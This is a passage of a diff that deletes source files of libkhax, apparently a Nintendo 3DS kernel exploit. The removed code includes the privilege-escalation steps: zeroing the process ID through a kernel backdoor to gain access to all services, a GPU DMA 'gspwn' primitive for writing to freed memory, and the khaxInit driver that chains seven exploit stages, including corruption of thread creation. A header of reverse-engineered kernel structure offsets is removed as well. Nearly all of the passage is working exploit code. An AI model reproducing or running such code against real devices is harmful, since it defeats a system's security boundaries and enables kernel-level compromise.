- "mcr p15, 0, r0, c7, c10, 0\n\t");\r
-\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Grant access to all services.\r
-Result KHAX::MemChunkHax::Step7_GrantServiceAccess()\r
-{\r
- // Backup the original PID.\r
- Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);\r
- if (result != 0)\r
- {\r
- KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);\r
- return result;\r
- }\r
-\r
- KHAX_printf("Step7:current pid=%lu\n", m_originalPID);\r
-\r
- // Patch the PID to 0, granting access to all services.\r
- svcBackdoor(Step7a_PatchPID);\r
-\r
- // Check whether PID patching succeeded.\r
- u32 newPID;\r
- result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r
- if (result != 0)\r
- {\r
- // Attempt patching back anyway, for stability reasons.\r
- svcBackdoor(Step7b_UnpatchPID);\r
- KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);\r
- return result;\r
- }\r
-\r
- if (newPID != 0)\r
- {\r
- KHAX_printf("Step7:nonzero:%lu\n", newPID);\r
- return MakeError(27, 11, KHAX_MODULE, 1023);\r
- }\r
-\r
- // Reinit ctrulib's srv connection to gain access to all services.\r
- srvExit();\r
- srvInit();\r
-\r
- // Restore the original PID now that srv has been tricked into thinking that we're PID 0.\r
- svcBackdoor(Step7b_UnpatchPID);\r
-\r
- // Check whether PID restoring succeeded.\r
- result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r
- if (result != 0)\r
- {\r
- KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);\r
- return result;\r
- }\r
-\r
- if (newPID != m_originalPID)\r
- {\r
- KHAX_printf("Step7:not same:%lu\n", newPID);\r
- return MakeError(27, 11, KHAX_MODULE, 1023);\r
- }\r
-\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Patch the PID to 0.\r
-Result KHAX::MemChunkHax::Step7a_PatchPID()\r
-{\r
- // Disable interrupts ASAP.\r
- // FIXME: Need a better solution for this.\r
- __asm__ volatile("cpsid aif");\r
-\r
- // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers\r
- // to translate the raw KProcess pointer into pointers into key fields, and we access the\r
- // m_processID field from it.\r
- *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r
- .m_processID) = 0;\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Restore the original PID.\r
-Result KHAX::MemChunkHax::Step7b_UnpatchPID()\r
-{\r
- // Disable interrupts ASAP.\r
- // FIXME: Need a better solution for this.\r
- __asm__ volatile("cpsid aif");\r
-\r
- // Patch the PID back to the original value.\r
- *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r
- .m_processID) = s_instance->m_originalPID;\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Helper for dumping memory to SD card.\r
-template <std::size_t S>\r
-bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const\r
-{\r
- char formatted[32];\r
- snprintf(formatted, KHAX_lengthof(formatted), filename,\r
- static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?\r
- "New" : "Old");\r
-\r
- bool result = true;\r
-\r
- FILE *file = std::fopen(formatted, "wb");\r
- if (file)\r
- {\r
- result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);\r
- std::fclose(file);\r
- }\r
- else\r
- {\r
- result = false;\r
- }\r
-\r
- return result;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Free memory and such.\r
-KHAX::MemChunkHax::~MemChunkHax()\r
-{\r
- // Dump memory to SD card if that is enabled.\r
-#ifdef KHAX_DEBUG_DUMP_DATA\r
- if (m_nextStep > 6)\r
- {\r
- DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");\r
- DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");\r
- DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");\r
- }\r
-#endif\r
-\r
- // If we're corrupted, we're dead.\r
- if (m_corrupted > 0)\r
- {\r
- KHAX_printf("~:error while corrupt;freezing\n");\r
- for (;;)\r
- {\r
- svcSleepThread(s64(60) * 1000000000);\r
- }\r
- }\r
-\r
- // This function has to be careful not to crash trying to shut down after an aborted attempt.\r
- if (m_overwriteMemory)\r
- {\r
- u32 dummy;\r
-\r
- // Each page has a flag indicating that it is still allocated.\r
- for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)\r
- {\r
- // Don't free a page unless it remains allocated.\r
- if (m_overwriteAllocated & (1u << x))\r
- {\r
- Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,\r
- sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));\r
- KHAX_printf("free %u: %08lx\n", x, res);\r
- }\r
- }\r
- }\r
-\r
- // Free the extra linear memory.\r
- if (m_extraLinear)\r
- {\r
- linearFree(m_extraLinear);\r
- }\r
-\r
- // s_instance better be us\r
- if (s_instance != this)\r
- {\r
- KHAX_printf("~:s_instance is wrong\n");\r
- }\r
- else\r
- {\r
- s_instance = nullptr;\r
- }\r
-}\r
-\r
-\r
-//------------------------------------------------------------------------------------------------\r
-//\r
-// Miscellaneous\r
-//\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Make an error code\r
-inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)\r
-{\r
- return (level << 27) + (summary << 21) + (module << 10) + error;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Check whether this system is a New 3DS.\r
-Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)\r
-{\r
- // If the kernel version isn't already known by the caller, find out.\r
- u32 kernelVersion = kernelVersionAlreadyKnown;\r
- if (kernelVersion == 0)\r
- {\r
- kernelVersion = osGetKernelVersion();\r
- }\r
-\r
- // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.\r
- if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))\r
- {\r
- // Check whether the system is a New 3DS. If this fails, abort, because being wrong would\r
- // crash the system.\r
- u8 isNew3DS = 0;\r
- if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS))\r
- {\r
- *answer = false;\r
- return error;\r
- }\r
-\r
- // Use the result of APT_CheckNew3DS.\r
- *answer = isNew3DS != 0;\r
- return 0;\r
- }\r
-\r
- // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.\r
- *answer = false;\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// gspwn, meant for reading from or writing to freed buffers.\r
-Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)\r
-{\r
- // Attempt a flush of the source, but ignore the result, since we may have just been asked to\r
- // read unmapped memory or something similar.\r
- GSPGPU_FlushDataCache(nullptr, static_cast<u8 *>(const_cast<void *>(src)), size);\r
-\r
- // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore\r
- // errors, since it may be the destination that is an unmapped address.\r
- GSPGPU_InvalidateDataCache(nullptr, static_cast<u8 *>(dest), size);\r
-\r
- // Copy that floppy.\r
- if (Result result = GX_SetTextureCopy(nullptr, static_cast<u32 *>(const_cast<void *>(src)), 0,\r
- static_cast<u32 *>(dest), 0, size, 8))\r
- {\r
- KHAX_printf("gspwn:copy fail:%08lx\n", result);\r
- return result;\r
- }\r
-\r
- // Wait for the operation to finish.\r
- if (wait)\r
- {\r
- gspWaitForPPF();\r
- }\r
-\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Given a pointer to a structure that is a member of another structure,\r
-// return a pointer to the outer structure. Inspired by Windows macro.\r
-template <typename Outer, typename Inner>\r
-Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)\r
-{\r
- unsigned char *p = reinterpret_cast<unsigned char *>(member);\r
- p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));\r
- return reinterpret_cast<Outer *>(p);\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Main initialization function interface.\r
-extern "C" Result khaxInit()\r
-{\r
- using namespace KHAX;\r
-\r
-#ifdef KHAX_DEBUG\r
- bool isNew3DS;\r
- IsNew3DS(&isNew3DS, 0);\r
- KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),\r
- isNew3DS);\r
-#endif\r
-\r
- // Look up the current system's version in our table.\r
- const VersionData *versionData = VersionData::GetForCurrentSystem();\r
- if (!versionData)\r
- {\r
- KHAX_printf("khaxInit: Unknown kernel version\n");\r
- return MakeError(27, 6, KHAX_MODULE, 39);\r
- }\r
-\r
- KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,\r
- versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);\r
-\r
- // Create the hack object.\r
- MemChunkHax hax{ versionData };\r
-\r
- // Run through the steps.\r
- if (Result result = hax.Step1_Initialize())\r
- {\r
- KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);\r
- return result;\r
- }\r
- if (Result result = hax.Step2_AllocateMemory())\r
- {\r
- KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);\r
- return result;\r
- }\r
- if (Result result = hax.Step3_SurroundFree())\r
- {\r
- KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);\r
- return result;\r
- }\r
- if (Result result = hax.Step4_VerifyExpectedLayout())\r
- {\r
- KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);\r
- return result;\r
- }\r
- if (Result result = hax.Step5_CorruptCreateThread())\r
- {\r
- KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);\r
- return result;\r
- }\r
- if (Result result = hax.Step6_ExecuteSVCCode())\r
- {\r
- KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);\r
- return result;\r
- }\r
- if (Result result = hax.Step7_GrantServiceAccess())\r
- {\r
- KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);\r
- return result;\r
- }\r
-\r
- KHAX_printf("khaxInit: done\n");\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything\r
-// and frees all memory on the way out.\r
-extern "C" Result khaxExit()\r
-{\r
- return 0;\r
-}\r
+++ /dev/null
-#pragma once\r
-\r
-#define KHAX_DEBUG\r
-//#define KHAX_DEBUG_DUMP_DATA\r
-\r
-#ifdef KHAX_DEBUG\r
- #define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()\r
-#else\r
- #define KHAX_printf static_cast<void>\r
-#endif\r
-\r
-// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never\r
-// actually compile this program.\r
-#ifdef _MSC_VER\r
- #undef ALIGN\r
- #define ALIGN(x) __declspec(align(x))\r
- #if _MSC_VER < 1900\r
- #define alignof __alignof\r
- #endif\r
- #define KHAX_ATTRIBUTE(...)\r
-#else\r
- #define KHAX_ATTRIBUTE(...) __VA_ARGS__\r
-#endif\r
-\r
-#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))\r
-\r
-//------------------------------------------------------------------------------------------------\r
-namespace KHAX\r
-{\r
- //------------------------------------------------------------------------------------------------\r
- // This code uses offsetof illegally (i.e. on polymorphic classes).\r
- #pragma GCC diagnostic push\r
- #pragma GCC diagnostic ignored "-Winvalid-offsetof"\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // General linked list node kernel object.\r
- struct KLinkedListNode\r
- {\r
- KLinkedListNode *next;\r
- KLinkedListNode *prev;\r
- void *data;\r
- };\r
- static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // Base class of reference-counted kernel objects.\r
- class KAutoObject\r
- {\r
- public:\r
- u32 m_refCount; // +004\r
-\r
- protected:\r
- virtual ~KAutoObject() {}\r
- };\r
- static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");\r
- static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // Base class of synchronizable objects.\r
- class KSynchronizationObject : public KAutoObject\r
- {\r
- public:\r
- u32 m_threadSyncCount; // +008\r
- KLinkedListNode *m_threadSyncFirst; // +00C\r
- KLinkedListNode *m_threadSyncLast; // +010\r
- };\r
- static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");\r
- static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,\r
- "KSynchronizationObject isn't the expected layout.");\r
-\r
- //------------------------------------------------------------------------------------------------\r
- struct KDebugThread;\r
- struct KThreadLocalPage;\r
- class KCodeSet;\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // Unofficial name\r
- typedef u8 KSVCACL[0x80 / 8];\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // ARM VFP register\r
- union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister\r
- {\r
- float m_single[2];\r
- double m_double;\r
- };\r
- static_assert(alignof(VFPRegister) == 0x004,\r
- "VFPRegister isn't the expected alignment.");\r
- static_assert(sizeof(VFPRegister) == 0x008,\r
- "VFPRegister isn't the expected size.");\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // SVC-mode register save area.\r
- // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000\r
- struct SVCRegisterState\r
- {\r
- u32 m_r4; // +000\r
- u32 m_r5; // +004\r
- u32 m_r6; // +008\r
- u32 m_r7; // +00C\r
- u32 m_r8; // +010\r
- u32 m_r9; // +014\r
- u32 m_sl; // +018\r
- u32 m_fp; // +01C\r
- u32 m_sp; // +020\r
- u32 m_lr; // +024\r
- };\r
- static_assert(sizeof(SVCRegisterState) == 0x028,\r
- "SVCRegisterState isn't the expected size.");\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // SVC-mode thread state structure. This is the last part of the per-\r
- // thread page allocated in 0xFF4XX000.\r
- // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000\r
- struct SVCThreadArea\r
- {\r
- KSVCACL m_svcAccessControl; // +000\r
- u32 m_unknown010; // +010\r
- u32 m_unknown014; // +014\r
- SVCRegisterState m_svcRegisterState; // +018\r
- VFPRegister m_vfpRegisters[16]; // +040\r
- u32 m_unknown0C4; // +0C0\r
- u32 m_fpexc; // +0C4\r
- };\r
- static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,\r
- "ThreadSVCArea isn't the expected layout.");\r
- static_assert(sizeof(SVCThreadArea) == 0x0C8,\r
- "ThreadSVCArea isn't the expected size.");\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // Kernel's internal structure of a thread object.\r
- class KThread : public KSynchronizationObject\r
- {\r
- public:\r
- u32 m_unknown014; // +014\r
- u32 m_unknown018; // +018\r
- u32 m_unknown01C; // +01C\r
- u32 m_unknown020; // +020\r
- u32 m_unknown024; // +024\r
- u32 m_unknown028; // +028\r
- u32 m_unknown02C; // +02C\r
- u32 m_unknown030; // +030\r
- u32 m_unknown034; // +034\r
- KDebugThread *m_debugThread; // +038\r
- s32 m_threadPriority; // +03C\r
- void *m_waitingOnObject; // +040\r
- u32 m_unknown044; // +044\r
- KThread **m_schedulerUnknown048; // +048\r
- void *m_arbitrationAddress; // +04C\r
- u32 m_unknown050; // +050\r
- u32 m_unknown054; // +054\r
- u32 m_unknown058; // +058\r
- KLinkedListNode *m_waitingOnList; // +05C\r
- u32 m_unknownListCount; // +060\r
- KLinkedListNode *m_unknownListHead; // +064\r
- KLinkedListNode *m_unknownListTail; // +068\r
- s32 m_threadPriority2; // +06C\r
- s32 m_creatingProcessor; // +070\r
- u32 m_unknown074; // +074\r
- u32 m_unknown078; // +078\r
- u16 m_unknown07C; // +07C\r
- u8 m_threadType; // +07E\r
- u8 m_padding07F; // +07F\r
- void *m_process; // +080\r
- u32 m_threadID; // +084\r
- SVCRegisterState *m_svcRegisterState; // +088\r
- void *m_svcPageEnd; // +08C\r
- s32 m_idealProcessor; // +090\r
- void *m_tlsUserMode; // +094\r
- void *m_tlsKernelMode; // +098\r
- u32 m_unknown09C; // +09C\r
- KThread *m_prev; // +0A0\r
- KThread *m_next; // +0A4\r
- KThread **m_temporaryLinkedList; // +0A8\r
- u32 m_unknown0AC; // +0B0\r
- };\r
- static_assert(sizeof(KThread) == 0x0B0,\r
- "KThread isn't the expected size.");\r
- static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,\r
- "KThread isn't the expected layout.");\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // Kernel's internal structure of a process object.\r
- // Version 1.0.0(?) - 7.2.0\r
- class KProcess_1_0_0_Old : public KSynchronizationObject\r
- {\r
- public:\r
- u32 m_unknown014; // +014\r
- u32 m_unknown018; // +018\r
- KThread *volatile m_interactingThread; // +01C\r
- u16 m_unknown020; // +020\r
- u16 m_unknown022; // +022\r
- u32 m_unknown024; // +024\r
- u32 m_unknown028; // +028\r
- u32 m_memoryBlockCount; // +02C\r
- KLinkedListNode *m_memoryBlockFirst; // +030\r
- KLinkedListNode *m_memoryBlockLast; // +034\r
- u32 m_unknown038; // +038\r
- u32 m_unknown03C; // +03C\r
- void *m_translationTableBase; // +040\r
- u8 m_contextID; // +044\r
- u32 m_unknown048; // +048\r
- u32 m_unknown04C; // +04C\r
- u32 m_mmuTableSize; // +050\r
- void *m_mmuTableAddress; // +054\r
- u32 m_threadContextPagesSize; // +058\r
- u32 m_threadLocalPageCount; // +05C\r
- KLinkedListNode *m_threadLocalPageFirst; // +060\r
- KLinkedListNode *m_threadLocalPageLast; // +064\r
- u32 m_unknown068; // +068\r
- s32 m_idealProcessor; // +06C\r
- u32 m_unknown070; // +070\r
- void *m_resourceLimits; // +074\r
- u8 m_unknown078; // +078\r
- u8 m_affinityMask; // +079\r
- u32 m_threadCount; // +07C\r
- KSVCACL m_svcAccessControl; // +080\r
- u32 m_interruptFlags[0x80 / 32]; // +090\r
- u32 m_kernelFlags; // +0A0\r
- u16 m_handleTableSize; // +0A4\r
- u16 m_kernelReleaseVersion; // +0A6\r
- KCodeSet *m_codeSet; // +0A8\r
- u32 m_processID; // +0AC\r
- u32 m_kernelFlags2; // +0B0\r
- u32 m_unknown0B4; // +0B4\r
- KThread *m_mainThread; // +0B8\r
- //...more...\r
- };\r
- static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,\r
- "KProcess_1_0_0_Old isn't the expected layout.");\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // Kernel's internal structure of a process object.\r
- // Old 3DS Version 8.0.0 - 9.5.0...\r
- class KProcess_8_0_0_Old : public KSynchronizationObject\r
- {\r
- public:\r
- u32 m_unknown014; // +014\r
- u32 m_unknown018; // +018\r
- KThread *volatile m_interactingThread; // +01C\r
- u16 m_unknown020; // +020\r
- u16 m_unknown022; // +022\r
- u32 m_unknown024; // +024\r
- u32 m_unknown028; // +028\r
- u32 m_memoryBlockCount; // +02C\r
- KLinkedListNode *m_memoryBlockFirst; // +030\r
- KLinkedListNode *m_memoryBlockLast; // +034\r
- u32 m_unknown038; // +038\r
- u32 m_unknown03C; // +03C\r
- void *m_translationTableBase; // +040\r
- u8 m_contextID; // +044\r
- u32 m_unknown048; // +048\r
- void *m_userVirtualMemoryEnd; // +04C\r
- void *m_userLinearVirtualBase; // +050\r
- u32 m_unknown054; // +054\r
- u32 m_mmuTableSize; // +058\r
- void *m_mmuTableAddress; // +05C\r
- u32 m_threadContextPagesSize; // +060\r
- u32 m_threadLocalPageCount; // +064\r
- KLinkedListNode *m_threadLocalPageFirst; // +068\r
- KLinkedListNode *m_threadLocalPageLast; // +06C\r
- u32 m_unknown070; // +070\r
- s32 m_idealProcessor; // +074\r
- u32 m_unknown078; // +078\r
- void *m_resourceLimits; // +07C\r
- u32 m_unknown080; // +080\r
- u32 m_threadCount; // +084\r
- u8 m_svcAccessControl[0x80 / 8]; // +088\r
- u32 m_interruptFlags[0x80 / 32]; // +098\r
- u32 m_kernelFlags; // +0A8\r
- u16 m_handleTableSize; // +0AC\r
- u16 m_kernelReleaseVersion; // +0AE\r
- KCodeSet *m_codeSet; // +0B0\r
- u32 m_processID; // +0B4\r
- u32 m_unknown0B8; // +0B8\r
- u32 m_unknown0BC; // +0BC\r
- KThread *m_mainThread; // +0C0\r
- //...more...\r
- };\r
- static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,\r
- "KProcess_8_0_0_Old isn't the expected layout.");\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // Kernel's internal structure of a process object.\r
- // New 3DS Version 8.0.0 - 9.5.0...\r
- class KProcess_8_0_0_New : public KSynchronizationObject\r
- {\r
- public:\r
- u32 m_unknown014; // +014\r
- u32 m_unknown018; // +018\r
- KThread *volatile m_interactingThread; // +01C\r
- u16 m_unknown020; // +020\r
- u16 m_unknown022; // +022\r
- u32 m_unknown024; // +024\r
- u32 m_unknown028; // +028\r
- u32 m_unknown02C; // +02C new to New 3DS\r
- u32 m_unknown030; // +030 new to New 3DS\r
- u32 m_memoryBlockCount; // +034\r
- KLinkedListNode *m_memoryBlockFirst; // +038\r
- KLinkedListNode *m_memoryBlockLast; // +03C\r
- u32 m_unknown040; // +040\r
- u32 m_unknown044; // +044\r
- void *m_translationTableBase; // +048\r
- u8 m_contextID; // +04C\r
- u32 m_unknown050; // +050\r
- void *m_userVirtualMemoryEnd; // +054\r
- void *m_userLinearVirtualBase; // +058\r
- u32 m_unknown05C; // +05C\r
- u32 m_mmuTableSize; // +060\r
- void *m_mmuTableAddress; // +064\r
- u32 m_threadContextPagesSize; // +068\r
- u32 m_threadLocalPageCount; // +06C\r
- KLinkedListNode *m_threadLocalPageFirst; // +070\r
- KLinkedListNode *m_threadLocalPageLast; // +074\r
- u32 m_unknown078; // +078\r
- s32 m_idealProcessor; // +07C\r
- u32 m_unknown080; // +080\r
- void *m_resourceLimits; // +084\r
- u32 m_unknown088; // +088\r
- u32 m_threadCount; // +08C\r
- u8 m_svcAccessControl[0x80 / 8]; // +090\r
- u32 m_interruptFlags[0x80 / 32]; // +0A0\r
- u32 m_kernelFlags; // +0B0\r
- u16 m_handleTableSize; // +0B4\r
- u16 m_kernelReleaseVersion; // +0B6\r
- KCodeSet *m_codeSet; // +0B8\r
- u32 m_processID; // +0BC\r
- u32 m_unknown0C0; // +0C0\r
- u32 m_unknown0C4; // +0C4\r
- KThread *m_mainThread; // +0C8\r
- //...more...\r
- };\r
- static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,\r
- "KProcess_8_0_0_New isn't the expected layout.");\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // Done using illegal offsetof\r
- #pragma GCC diagnostic pop\r
-}\r